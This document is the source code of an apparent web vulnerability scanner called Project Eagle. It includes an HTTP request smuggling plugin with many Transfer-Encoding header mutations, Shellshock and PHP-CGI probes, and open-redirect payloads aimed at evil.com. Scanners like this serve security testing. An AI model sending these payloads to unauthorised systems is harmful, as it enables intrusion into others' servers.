badsetupLF(self, msg): msg = msg.replace( 'Transfer-Encoding: chunked', 'Foo: bar' ) msg = msg.replace( 'HTTP/1.1\r\n', 'HTTP/1.1\r\nFooz: bar\nTransfer-Encoding: chunked\r\n' ) return msg def vertwrap(self, msg): msg = msg.replace( 'Transfer-Encoding: ', 'Transfer-Encoding: \n\u000B' ) return msg def tabwrap(self, msg): msg = msg.replace( 'Transfer-Encoding: ', 'Transfer-Encoding: \n\t' ) return msg def dualchunk(self, msg): msg = msg.replace( 'Transfer-Encoding: chunked', 'Transfer-Encoding: chunked\r\nTransfer-Encoding: identity' ) return msg def lazygrep(self, msg): msg = msg.replace( 'Transfer-Encoding: chunked', 'Transfer-Encoding: chunk' ) return msg def multiCase(self, msg): msg = msg.replace( 'Transfer-Encoding: chunked', 'TrAnSFer-EnCODinG: cHuNkeD' ) return msg def UPPERCASE(self, msg): msg = msg.replace( 'Transfer-Encoding: chunked', 'TRANSFER-ENCODING: CHUNKED' ) return msg def zdwrap(self, msg): msg = msg.replace( 'Transfer-Encoding: chunked', 'Foo: bar' ) msg = msg.replace( 'HTTP/1.1\r\n', 'HTTP/1.1\r\nFoo: bar\r\n\rTransfer-Encoding: chunked\r\n' ) return msg def zdsuffix(self, msg): msg = msg.replace( 'Transfer-Encoding: chunked', 'Transfer-Encoding: chunked\r' ) return msg def zdsuffix(self, msg): msg = msg.replace( 'Transfer-Encoding: chunked', 'Transfer-Encoding: chunked\t' ) return msg def revdualchunk(self, msg): msg = msg.replace( 'Transfer-Encoding: chunked', 'Transfer-Encoding: identity\r\nTransfer-Encoding: chunked' ) return msg def zdspam(self, msg): msg = msg.replace( 'Transfer-Encoding: chunked', 'Transfer\r-Encoding: chunked' ) return msg def bodysplit(self, msg): msg = msg.replace( 'Transfer-Encoding: chunked', 'Foo: barn\n\nTransfer-Encoding: chunked' ) return msg def connection(self, msg): msg = msg.replace( 'Connection', 'Transfer-Encoding' ) return msg def nested(self, msg): msg = msg.replace( 'Transfer-Encoding: chunked', 'Transfer-Encoding: cow chunked bar' ) return msg def spaceFF(self, msg): msg = msg.replace( 'Transfer-Encoding: ', 'Transfer-Encoding:'+chr(255) ) return msg def unispace(self, msg): msg = msg.replace( 'Transfer-Encoding: ', 'Transfer-Encoding:'+chr(160) ) return msg def accentTE(self, msg): msg = msg.replace( 'Transfer-Encoding:', 'Transf'+chr(130)+'r-Encoding:' ) return msg def accentCH(self, msg): msg = msg.replace( 'Transfer-Encoding: chunked', 'Transfr-Encoding: ch'+chr(150)+'nked' ) return msg def chunky(self, msg): pad_str = '' pad_chunk = "F\r\nAAAAAAAAAAAAAAA\r\n" for i in range(0,3000): pad_str = pad_str + pad_chunk msg = msg.replace( 'Transfer-Encoding: chunked\r\n\r\n', 'Transfer-Encoding: chunked\r\n\r\n'+pad_str ) if 'Content-Length: 11' in msg: msg = msg.replace( 'Content-Length: ', 'Content-Length: 600' ) else: msg = msg.replace( 'Content-Length: ', 'Content-Length: 6000' ) return msg def vanilla(self, msg): return msg def reversevanilla(self, msg): return msg def spacefix1_0(self, msg): msg = msg.replace( 'Transfer-Encoding: ', 'Transfer-Encoding:'+chr(0) ) return msg def spacefix1_9(self, msg): msg = msg.replace( 'Transfer-Encoding: ', 'Transfer-Encoding:'+chr(9) ) return msg def spacefix1_11(self, msg): msg = msg.replace( 'Transfer-Encoding: ', 'Transfer-Encoding:'+chr(11) ) return msg def spacefix1_12(self, msg): msg = msg.replace( 'Transfer-Encoding: ', 'Transfer-Encoding:'+chr(12) ) return msg def spacefix1_13(self, msg): msg = msg.replace( 'Transfer-Encoding: ', 'Transfer-Encoding:'+chr(13) ) return msg def spacefix1_127(self, msg): msg = msg.replace( 'Transfer-Encoding: ', 'Transfer-Encoding:'+chr(127) ) return msg def spacefix1_160(self, msg): msg = msg.replace( 'Transfer-Encoding: ', 'Transfer-Encoding:'+chr(160) ) return msg def spacefix1_255(self, msg): msg = msg.replace( 'Transfer-Encoding: ', 'Transfer-Encoding:'+chr(255) ) return msg def prefix1_0(self, msg): msg = msg.replace( 'Transfer-Encoding: ', 'Transfer-Encoding: '+chr(0) ) return msg def prefix1_9(self, msg): msg = msg.replace( 'Transfer-Encoding: ', 'Transfer-Encoding: '+chr(9) ) return msg def prefix1_11(self, msg): msg = msg.replace( 'Transfer-Encoding: ', 'Transfer-Encoding: '+chr(11) ) return msg def prefix1_12(self, msg): msg = msg.replace( 'Transfer-Encoding: ', 'Transfer-Encoding: '+chr(12) ) return msg def prefix1_13(self, msg): msg = msg.replace( 'Transfer-Encoding: ', 'Transfer-Encoding: '+chr(13) ) return msg def prefix1_127(self, msg): msg = msg.replace( 'Transfer-Encoding: ', 'Transfer-Encoding: '+chr(127) ) return msg def prefix1_160(self, msg): msg = msg.replace( 'Transfer-Encoding: ', 'Transfer-Encoding: '+chr(160) ) return msg def prefix1_255(self, msg): msg = msg.replace( 'Transfer-Encoding: ', 'Transfer-Encoding: '+chr(255) ) return msg def suffix1_0(self, msg): msg = msg.replace( 'Transfer-Encoding: chunked', 'Transfer-Encoding: chunked'+chr(0) ) return msg def suffix1_9(self, msg): msg = msg.replace( 'Transfer-Encoding: chunked', 'Transfer-Encoding: chunked'+chr(9) ) return msg def suffix1_11(self, msg): msg = msg.replace( 'Transfer-Encoding: chunked', 'Transfer-Encoding: chunked'+chr(11) ) return msg def suffix1_12(self, msg): msg = msg.replace( 'Transfer-Encoding: chunked', 'Transfer-Encoding: chunked'+chr(12) ) return msg def suffix1_13(self, msg): msg = msg.replace( 'Transfer-Encoding: chunked', 'Transfer-Encoding: chunked'+chr(13) ) return msg def suffix1_127(self, msg): msg = msg.replace( 'Transfer-Encoding: chunked', 'Transfer-Encoding: chunked'+chr(127) ) return msg def suffix1_160(self, msg): msg = msg.replace( 'Transfer-Encoding: chunked', 'Transfer-Encoding: chunked'+chr(160) ) return msg def suffix1_255(self, msg): msg = msg.replace( 'Transfer-Encoding: chunked', 'Transfer-Encoding: chunked'+chr(255) ) return msg class sockRequest: length = 0 time = 0 headers_length = 0 content_length = 0 headers = '' status_reason = '' url = '' message = '' response = '' content = '' t_headers = {} status_code = -1 def __init__(self, url, message ): self.url = url self.message = message def receive_all(self, sock ): datas = '' for i in range(100): chunk = sock.recv( 4096 ) if chunk: datas = datas + chunk.decode(errors='ignore') break else: break return datas def extractDatas(self): try: self.length = len(self.response ) p = self.response.find( '\r\n'+'\r\n' ) self.headers = self.response[0:p] self.headers_length = len(self.headers ) self.content = self.response[p+len('\r\n'+'\r\n'):] self.content_length = len(self.content ) tmp = self.headers.split( '\r\n' ) first_line = tmp[0].split( ' ' ) self.status_code = int(first_line[1]) self.status_reason = first_line[2] for header in tmp: p = header.find( ': ' ) k = header[0:p] v = header[p+2:] self.t_headers[ k ] = v except Exception as e: pass def send(self): t_urlparse = urlparse(self.url ) if t_urlparse.port: port = t_urlparse.port elif t_urlparse.scheme == 'https': port = 443 else: port = 80 if ':' in t_urlparse.netloc: tmp = t_urlparse.netloc.split(':') netloc = tmp[0] port = tmp[1] else: netloc = t_urlparse.netloc sock = socket.socket( socket.AF_INET, socket.SOCK_STREAM ) if t_urlparse.scheme == 'https': context = ssl.SSLContext( ssl.PROTOCOL_SSLv23 ) context.verify_mode = ssl.CERT_NONE sock = context.wrap_socket( sock, server_hostname=netloc ) sock.settimeout( 30 ) try: sock.connect( (netloc, port) ) except Exception as e: return False sock.sendall( str.encode(self.message) ) start = time.time() try: datas = self.receive_all( sock ) except Exception as e: return False end = time.time() sock.shutdown( socket.SHUT_RDWR ) sock.close() self.response = datas self.time = (end - start) * 1000 if len(datas): self.extractDatas() def generateAttackMessage( base_message, method, attack_datas ): try: f = getattr( am, method ) except Exception as e: return '' msg = base_message.strip() + '\r\n' msg = am.update_content_length( msg, attack_datas['Content-Length'] ) msg = msg + 'Transfer-Encoding: chunked' + '\r\n' msg = msg + '\r\n' + attack_datas['body'] msg = f( msg) return msg def generateBaseMessage( url, t_evil_headers ): t_urlparse = urlparse( url ) if t_urlparse.path: query = t_urlparse.path else: query = '/' if t_urlparse.query: query = query + '?' + t_urlparse.query if t_urlparse.fragment: query = query + '#' + t_urlparse.fragment msg = 'POST ' + query + ' HTTP/1.1' + '\r\n' msg = msg + 'Host: ' + t_urlparse.netloc + '\r\n' for k,v in t_evil_headers.items(): msg = msg + k + ': ' + v + '\r\n' msg = msg + '\r\n' return msg history = {} lock = threading.Lock() am = SmugglerAttacks() def check(url,base_message,method,attack_datas,output): if not url in history.keys(): history[url] = 0 if history[url] > MAX_VULNERABLE: return result = request( url, generateAttackMessage( base_message, method, attack_datas ) ) if result.status_code < 0: return if result.time > 9000: r_type = True with lock: history[url] += 1 else: r_type = False if 'Content-Type' in result.t_headers: content_type = result.t_headers['Content-Type'] else: content_type = '-' if attack_datas: method = attack_datas['name'] + '|' + method output.append({ 'R': result.url.ljust(0), 'M': method, 'C': result.status_code, 'L': result.length, 'time': result.time, 'T': content_type, 'V': r_type, 'request': b64encode(result.message.encode('utf8')).decode('utf8') }) def request( url, message ): sock = sockRequest( url, message ) sock.send() return sock class Smuggler(Plugin): def __init__(self): self.name = "Request Smuggler" self.enable = True self.description = "" def presquites(self, host): if utils.isalive( utils.uri(host) ): return True return False def main(self,host): output = [] url = utils.uri(host) channel = multitask.Channel() for method in t_registered_method: for attack_datas in t_attacks_datas: channel.append( url, generateBaseMessage( url, t_base_headers ), method, attack_datas, output ) multitask.workers(check,channel,10) channel.wait() channel.close() qtechniques = 0 ntechniques = [] rtechniques = [] savename = host + ".sumggler.txt" for scan in output: isvulnerable = scan['V'] method = scan['M'] status = scan['C'] request = scan['request'] if isvulnerable == True: qtechniques += 1 ntechniques.append(method) rtechniques.append( (request) ) data.savetofile( name = savename, content = json.dumps(scan) + "\n" ) if qtechniques == 0: return Result(FAILED,None,None,None) return Result(SUCCESS,"%i of smuggling techniques worked: [%s] request(s) saved at: output/%s" % (qtechniques, ', '.join(ntechniques[:4]) + "..", savename),None,None)
{"/plugins/files.py": ["/utils/status.py", "/plugins/helper.py", "/utils/multitask.py"], "/plugins/cve-2019-3396.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/crlf.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/spider.py": ["/utils/status.py", "/plugins/helper.py", "/utils/decorators.py", "/utils/multitask.py"], "/plugins/cve-2019-5418.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/ftp.py": ["/utils/status.py", "/plugins/helper.py", "/utils/decorators.py"], "/main.py": ["/utils/db.py", "/utils/status.py", "/utils/multitask.py", "/utils/console.py", "/utils/data.py", "/plugins/__init__.py"], "/plugins/traversal.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2018-11776.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2019-2725.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2019-8451.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/spf.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/firebase.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/s3.py": ["/utils/decorators.py", "/plugins/helper.py", "/utils/status.py"], "/plugins/plugin.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/subtakeover.py": ["/utils/status.py", "/plugins/helper.py"], "/scripts/ping.py": ["/utils/status.py", "/utils/console.py", "/utils/multitask.py"], "/plugins/sumggler.py": ["/plugins/helper.py", "/utils/status.py", "/utils/multitask.py", "/utils/data.py"], "/utils/urls.py": ["/utils/wrappers.py", "/utils/decorators.py"], "/utils/console.py": ["/utils/status.py"], "/plugins/cve-2012-1823.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/__init__.py": ["/plugins/helper.py"], "/plugins/cve-2019-10098.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2014-6271.py": ["/utils/status.py", "/plugins/helper.py"]}
53,717
alex14324/Eagel
refs/heads/main
/utils/urls.py
from .wrappers import wRequests as requests from .decorators import OnErrorReturnValue from urllib.parse import urlparse,urlunparse import dns.resolver alive_cache = {} def isalive(url): url = sanitize(url) if url in alive_cache.keys(): return alive_cache[url] try: status = bool( requests.options(url,timeout=10,verify=False).status_code ) alive_cache.update({url: status}) except Exception as e : status = False alive_cache.update({url: status}) return status def sanitize(url): url_parsed = urlparse(url) return urlunparse((url_parsed.scheme, url_parsed.netloc, '/'.join([part for part in url_parsed.path.split('/') if part]) , '', '', '')) + "/" def urlschemes(host): schemes = [] if isalive("http://%s" % host): schemes.append('http') if isalive("https://%s" % host): schemes.append('https') return schemes def urlscheme(host): if isalive("https://%s" % host): return "https" return "http" def uri(host): scheme = urlscheme(host) return sanitize( "{scheme}://{host}/".format(scheme=scheme,host=host) ) def dump_request(request): body = b"" body += request.request.method.encode("utf8") body += b" " body += request.request.url.encode("utf8") body += b"\r\n" for header,value in request.request.headers.items(): body += header.encode("utf8") + b": " + value.encode("utf8") + b"\r\n" if request.request.body != None: body += str(request.request.body).encode("utf8") return body def dump_response(request): body = b"HTTP /1.1 " body += str(request.status_code).encode("utf8") body += b" " body += request.reason.encode("utf8") body += b"\r\n" for header,value in request.headers.items(): body += header.encode("utf8") + b": " + value.encode("utf8") + b"\r\n" body += request.text.encode("utf8") return body
{"/plugins/files.py": ["/utils/status.py", "/plugins/helper.py", "/utils/multitask.py"], "/plugins/cve-2019-3396.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/crlf.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/spider.py": ["/utils/status.py", "/plugins/helper.py", "/utils/decorators.py", "/utils/multitask.py"], "/plugins/cve-2019-5418.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/ftp.py": ["/utils/status.py", "/plugins/helper.py", "/utils/decorators.py"], "/main.py": ["/utils/db.py", "/utils/status.py", "/utils/multitask.py", "/utils/console.py", "/utils/data.py", "/plugins/__init__.py"], "/plugins/traversal.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2018-11776.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2019-2725.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2019-8451.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/spf.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/firebase.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/s3.py": ["/utils/decorators.py", "/plugins/helper.py", "/utils/status.py"], "/plugins/plugin.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/subtakeover.py": ["/utils/status.py", "/plugins/helper.py"], "/scripts/ping.py": ["/utils/status.py", "/utils/console.py", "/utils/multitask.py"], "/plugins/sumggler.py": ["/plugins/helper.py", "/utils/status.py", "/utils/multitask.py", "/utils/data.py"], "/utils/urls.py": ["/utils/wrappers.py", "/utils/decorators.py"], "/utils/console.py": ["/utils/status.py"], "/plugins/cve-2012-1823.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/__init__.py": ["/plugins/helper.py"], "/plugins/cve-2019-10098.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2014-6271.py": ["/utils/status.py", "/plugins/helper.py"]}
53,718
alex14324/Eagel
refs/heads/main
/utils/console.py
from .status import * import datetime import argparse import sys import re from threading import Lock lock = Lock() banner_str = """ .---. .----------- / \ __ / ------ / / \( )/ ----- ////// ' \/ ` --- Multipurpose vulnerability scanner //// / // : : --- v1.0b / / / /` '-- 2019-2020 //..\\ ====UU====UU==== - Loaded plugins: %i '//||\\` - Worker(s): %i ''`` Project Eagle - Main Engine """ statup_time = datetime.datetime.now().strftime("%d-%m-%Y.%H.%M.%S") open(sys.path[0]+"/logs/%s.log" % statup_time , "a+").write(' '.join(sys.argv) + "\n") parser = argparse.ArgumentParser(description='[*] Project Eagle - Manual' ) parser.add_argument('--workers','-w',type=int, help='concurrent workers number default=5',default=5) parser.add_argument('--db',type=str,help='database file path',default=sys.path[0]+"/db/default.db.json") parser.add_argument('-f','--file', help='targets file',type=str) parser.add_argument('-v','--verbose', help='increase output verbosity',action="count",default=0) parser.add_argument('-p','--ping',action='store_true', help='check availability of targets') args = parser.parse_args() if len(sys.argv) < 2: parser.print_help() exit(0) def escape_ansi(line): ansi_escape = re.compile(r'(\x9B|\x1B\[)[0-?]*[ -/]*[@-~]') return ansi_escape.sub('', line) def banner(plugins): print(banner_str % (plugins, args.workers)) def output(level,msg): with lock: level = '{color} {name}{reset}'.format( color = s2c[level], name = s2s[level].upper(), reset = Fore.RESET ).ljust(19," ") msg = "[%s] |%s| %s\n" % (datetime.datetime.now().strftime("%d/%m/%Y %H:%M:%S"),level,msg) open(sys.path[0]+"/logs/%s.log" % statup_time , "a+").write(escape_ansi(msg)) print(msg,end='') def pprint(result): res = result.ret host = result.args[0] name = result.channel.name if not res: return if name == 'ping': output(res.status,"%s" % (res.msg)) return if args.verbose == 0 and res.status == SUCCESS: output(SUCCESS,"plugin=%s, host=%s, msg=%s" % ( name, host, res.msg )) if args.verbose == 1 and ( res.status == SUCCESS or res.status == WARNING ): output(res.status,"plugin=%s, host=%s, msg=%s" % ( name, host, res.msg )) if args.verbose == 2 and ( res.status == SUCCESS or res.status == WARNING or res.status == ERROR): output(res.status,"plugin=%s, host=%s, msg=%s" % ( name, host, res.msg )) if args.verbose == 3: output(res.status,"plugin=%s, host=%s, status=%s, msg=%s" % ( name, host, s2s[res.status], res.msg ))
{"/plugins/files.py": ["/utils/status.py", "/plugins/helper.py", "/utils/multitask.py"], "/plugins/cve-2019-3396.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/crlf.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/spider.py": ["/utils/status.py", "/plugins/helper.py", "/utils/decorators.py", "/utils/multitask.py"], "/plugins/cve-2019-5418.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/ftp.py": ["/utils/status.py", "/plugins/helper.py", "/utils/decorators.py"], "/main.py": ["/utils/db.py", "/utils/status.py", "/utils/multitask.py", "/utils/console.py", "/utils/data.py", "/plugins/__init__.py"], "/plugins/traversal.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2018-11776.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2019-2725.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2019-8451.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/spf.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/firebase.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/s3.py": ["/utils/decorators.py", "/plugins/helper.py", "/utils/status.py"], "/plugins/plugin.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/subtakeover.py": ["/utils/status.py", "/plugins/helper.py"], "/scripts/ping.py": ["/utils/status.py", "/utils/console.py", "/utils/multitask.py"], "/plugins/sumggler.py": ["/plugins/helper.py", "/utils/status.py", "/utils/multitask.py", "/utils/data.py"], "/utils/urls.py": ["/utils/wrappers.py", "/utils/decorators.py"], "/utils/console.py": ["/utils/status.py"], "/plugins/cve-2012-1823.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/__init__.py": ["/plugins/helper.py"], "/plugins/cve-2019-10098.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2014-6271.py": ["/utils/status.py", "/plugins/helper.py"]}
53,719
alex14324/Eagel
refs/heads/main
/plugins/cve-2012-1823.py
from utils.status import * from .helper import Plugin,utils class CVE_2012_1823(Plugin): def __init__(self): self.name = "PHP-CGI - CVE_2012_1823" self.enable = True self.description = "" def presquites(self, host): if utils.isalive( utils.uri(host) ): return True return False def main(self,host): poc = utils.uri(host) + "index.php?-s" request = utils.requests.get(poc) if "<?php" in request.text: return Result( status = SUCCESS, msg = poc, request = utils.dump_request(request), response = utils.dump_response(request) ) return Result(FAILED,None,None,None)
{"/plugins/files.py": ["/utils/status.py", "/plugins/helper.py", "/utils/multitask.py"], "/plugins/cve-2019-3396.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/crlf.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/spider.py": ["/utils/status.py", "/plugins/helper.py", "/utils/decorators.py", "/utils/multitask.py"], "/plugins/cve-2019-5418.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/ftp.py": ["/utils/status.py", "/plugins/helper.py", "/utils/decorators.py"], "/main.py": ["/utils/db.py", "/utils/status.py", "/utils/multitask.py", "/utils/console.py", "/utils/data.py", "/plugins/__init__.py"], "/plugins/traversal.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2018-11776.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2019-2725.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2019-8451.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/spf.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/firebase.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/s3.py": ["/utils/decorators.py", "/plugins/helper.py", "/utils/status.py"], "/plugins/plugin.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/subtakeover.py": ["/utils/status.py", "/plugins/helper.py"], "/scripts/ping.py": ["/utils/status.py", "/utils/console.py", "/utils/multitask.py"], "/plugins/sumggler.py": ["/plugins/helper.py", "/utils/status.py", "/utils/multitask.py", "/utils/data.py"], "/utils/urls.py": ["/utils/wrappers.py", "/utils/decorators.py"], "/utils/console.py": ["/utils/status.py"], "/plugins/cve-2012-1823.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/__init__.py": ["/plugins/helper.py"], "/plugins/cve-2019-10098.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2014-6271.py": ["/utils/status.py", "/plugins/helper.py"]}
53,720
alex14324/Eagel
refs/heads/main
/utils/status.py
from collections import namedtuple from colorama import Fore from colorama import init ERROR = 0 SUCCESS = 1 FAILED = 2 WARNING = 3 UNKNOWN = 4 INFO = 5 LOG = 6 s2s = { ERROR: 'error', SUCCESS: 'success', FAILED: 'failed', WARNING: 'warning', UNKNOWN: 'unknown', INFO: 'info', LOG: 'logging' } s2c = { ERROR: Fore.RED, SUCCESS: Fore.GREEN, FAILED: Fore.RED, WARNING: Fore.YELLOW, UNKNOWN: Fore.LIGHTBLACK_EX, INFO: Fore.LIGHTBLACK_EX, LOG: Fore.LIGHTBLACK_EX } init(autoreset=True) Result = namedtuple("Result","status msg request response")
{"/plugins/files.py": ["/utils/status.py", "/plugins/helper.py", "/utils/multitask.py"], "/plugins/cve-2019-3396.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/crlf.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/spider.py": ["/utils/status.py", "/plugins/helper.py", "/utils/decorators.py", "/utils/multitask.py"], "/plugins/cve-2019-5418.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/ftp.py": ["/utils/status.py", "/plugins/helper.py", "/utils/decorators.py"], "/main.py": ["/utils/db.py", "/utils/status.py", "/utils/multitask.py", "/utils/console.py", "/utils/data.py", "/plugins/__init__.py"], "/plugins/traversal.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2018-11776.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2019-2725.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2019-8451.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/spf.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/firebase.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/s3.py": ["/utils/decorators.py", "/plugins/helper.py", "/utils/status.py"], "/plugins/plugin.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/subtakeover.py": ["/utils/status.py", "/plugins/helper.py"], "/scripts/ping.py": ["/utils/status.py", "/utils/console.py", "/utils/multitask.py"], "/plugins/sumggler.py": ["/plugins/helper.py", "/utils/status.py", "/utils/multitask.py", "/utils/data.py"], "/utils/urls.py": ["/utils/wrappers.py", "/utils/decorators.py"], "/utils/console.py": ["/utils/status.py"], "/plugins/cve-2012-1823.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/__init__.py": ["/plugins/helper.py"], "/plugins/cve-2019-10098.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2014-6271.py": ["/utils/status.py", "/plugins/helper.py"]}
53,721
alex14324/Eagel
refs/heads/main
/plugins/__init__.py
from .helper import loader from glob import glob import importlib import os def main(): for plugin in glob("plugins/*.py"): path = plugin.replace("/",".").replace("\\",".").replace(".py",".")[:-1] plugin = os.path.basename(plugin).replace(".py","") if plugin in ["helper","__init__"]: continue lib = getattr(__import__(path), plugin) for sub in dir(lib): if "__" in sub: continue plugin_class = getattr(lib,sub) try: if plugin_class.__base__.__name__ == "Plugin": loader.load(plugin_class()) except: pass if __name__ == "plugins": main()
{"/plugins/files.py": ["/utils/status.py", "/plugins/helper.py", "/utils/multitask.py"], "/plugins/cve-2019-3396.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/crlf.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/spider.py": ["/utils/status.py", "/plugins/helper.py", "/utils/decorators.py", "/utils/multitask.py"], "/plugins/cve-2019-5418.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/ftp.py": ["/utils/status.py", "/plugins/helper.py", "/utils/decorators.py"], "/main.py": ["/utils/db.py", "/utils/status.py", "/utils/multitask.py", "/utils/console.py", "/utils/data.py", "/plugins/__init__.py"], "/plugins/traversal.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2018-11776.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2019-2725.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2019-8451.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/spf.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/firebase.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/s3.py": ["/utils/decorators.py", "/plugins/helper.py", "/utils/status.py"], "/plugins/plugin.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/subtakeover.py": ["/utils/status.py", "/plugins/helper.py"], "/scripts/ping.py": ["/utils/status.py", "/utils/console.py", "/utils/multitask.py"], "/plugins/sumggler.py": ["/plugins/helper.py", "/utils/status.py", "/utils/multitask.py", "/utils/data.py"], "/utils/urls.py": ["/utils/wrappers.py", "/utils/decorators.py"], "/utils/console.py": ["/utils/status.py"], "/plugins/cve-2012-1823.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/__init__.py": ["/plugins/helper.py"], "/plugins/cve-2019-10098.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2014-6271.py": ["/utils/status.py", "/plugins/helper.py"]}
53,722
alex14324/Eagel
refs/heads/main
/plugins/cve-2019-10098.py
from utils.status import * from .helper import Plugin,utils class CVE_2019_10098(Plugin): def __init__(self): self.name = "Apache Httpd mod_rewrite - CVE_2019_10098" self.enable = True self.description = "" def presquites(self, host): if utils.isalive( utils.uri(host) ): return True return False def main(self,host): for payload in ["%0a.evil.com","/evil.com","\\evil.com"]: poc = utils.uri(host) + payload request = utils.requests.get(poc) if 'Evil.Com' in request.text: return Result( status = SUCCESS, msg = poc, request = utils.dump_request(request), response = utils.dump_response(request) ) return Result(FAILED,None,None,None)
{"/plugins/files.py": ["/utils/status.py", "/plugins/helper.py", "/utils/multitask.py"], "/plugins/cve-2019-3396.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/crlf.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/spider.py": ["/utils/status.py", "/plugins/helper.py", "/utils/decorators.py", "/utils/multitask.py"], "/plugins/cve-2019-5418.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/ftp.py": ["/utils/status.py", "/plugins/helper.py", "/utils/decorators.py"], "/main.py": ["/utils/db.py", "/utils/status.py", "/utils/multitask.py", "/utils/console.py", "/utils/data.py", "/plugins/__init__.py"], "/plugins/traversal.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2018-11776.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2019-2725.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2019-8451.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/spf.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/firebase.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/s3.py": ["/utils/decorators.py", "/plugins/helper.py", "/utils/status.py"], "/plugins/plugin.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/subtakeover.py": ["/utils/status.py", "/plugins/helper.py"], "/scripts/ping.py": ["/utils/status.py", "/utils/console.py", "/utils/multitask.py"], "/plugins/sumggler.py": ["/plugins/helper.py", "/utils/status.py", "/utils/multitask.py", "/utils/data.py"], "/utils/urls.py": ["/utils/wrappers.py", "/utils/decorators.py"], "/utils/console.py": ["/utils/status.py"], "/plugins/cve-2012-1823.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/__init__.py": ["/plugins/helper.py"], "/plugins/cve-2019-10098.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2014-6271.py": ["/utils/status.py", "/plugins/helper.py"]}
53,723
alex14324/Eagel
refs/heads/main
/plugins/cve-2014-6271.py
from utils.status import * from .helper import Plugin,utils class CVE_2014_6271(Plugin): def __init__(self): self.name = "Shell Shock - CVE_2014_6271" self.enable = True self.description = "" def presquites(self, host): if utils.isalive( utils.uri(host) ): return True return False def main(self,host): try: request = utils.requests.get( utils.uri(host),timeout=120, headers={ 'User-agent':'() {:;}; sleep 9999', }) return Result(FAILED,None,None,None) except utils.requests.exceptions.Timeout: return Result( status = SUCCESS, msg = "Shellshock executed: ['User-agent':'() {:;}; sleep 9999']", request = utils.dump_request(request), response = utils.dump_response(request) )
